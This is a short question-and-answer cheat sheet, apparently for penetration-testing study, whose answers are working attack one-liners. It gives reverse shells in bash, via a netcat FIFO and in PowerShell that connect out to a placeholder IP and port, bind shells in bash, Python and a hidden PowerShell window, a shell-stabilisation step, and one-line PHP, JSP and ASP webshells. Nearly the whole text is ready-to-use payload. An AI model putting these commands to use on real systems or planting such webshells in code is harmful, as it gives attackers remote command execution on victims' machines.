Shell Commands

Question 1

Whats a command to create a reverse shell in bash?

Answer 1

bash -c ‘bash -i >& /dev/tcp/[ip]/[port] 0>&1’

Question 2

Whats a command to create a reverse shell using fifos in bash?

Answer 2

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1| nc [host] [port] > /tmp/f

Question 3

Whats a command to create a reverse shell in powershell ?

Answer 3

powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘[ip]’,[port]);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + ‘PS ‘ + (pwd).Path + ‘> ‘;$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()”

Question 4

Whats a command to get a bind shell in bash?

Answer 4

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp [port] >/tmp/f

Question 5

Whats a command to get a bind shell in python?

Answer 5

python -c ‘exec(“"”import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((“0.0.0.0”,1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())”””)’

Question 6

Whats a command to get a bind shell in powershell?

Answer 6

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS “ + (pwd).Path + “ “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Question 7

Whats a command to stabilize a shell in python?

Answer 7

python -c ‘import pty; pty.spawn(“/bin/bash”)’

stty raw -echo

Question 8

Whats a PHP script for a webshell?

Answer 8

<?php system($_REQUEST[“cmd”]); ?>

Question 9

Whats a JSP script for a webshell?

Answer 9

<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>

Question 10

Whats an ASP script for a webshell?

Answer 10

<% eval request(“cmd”) %>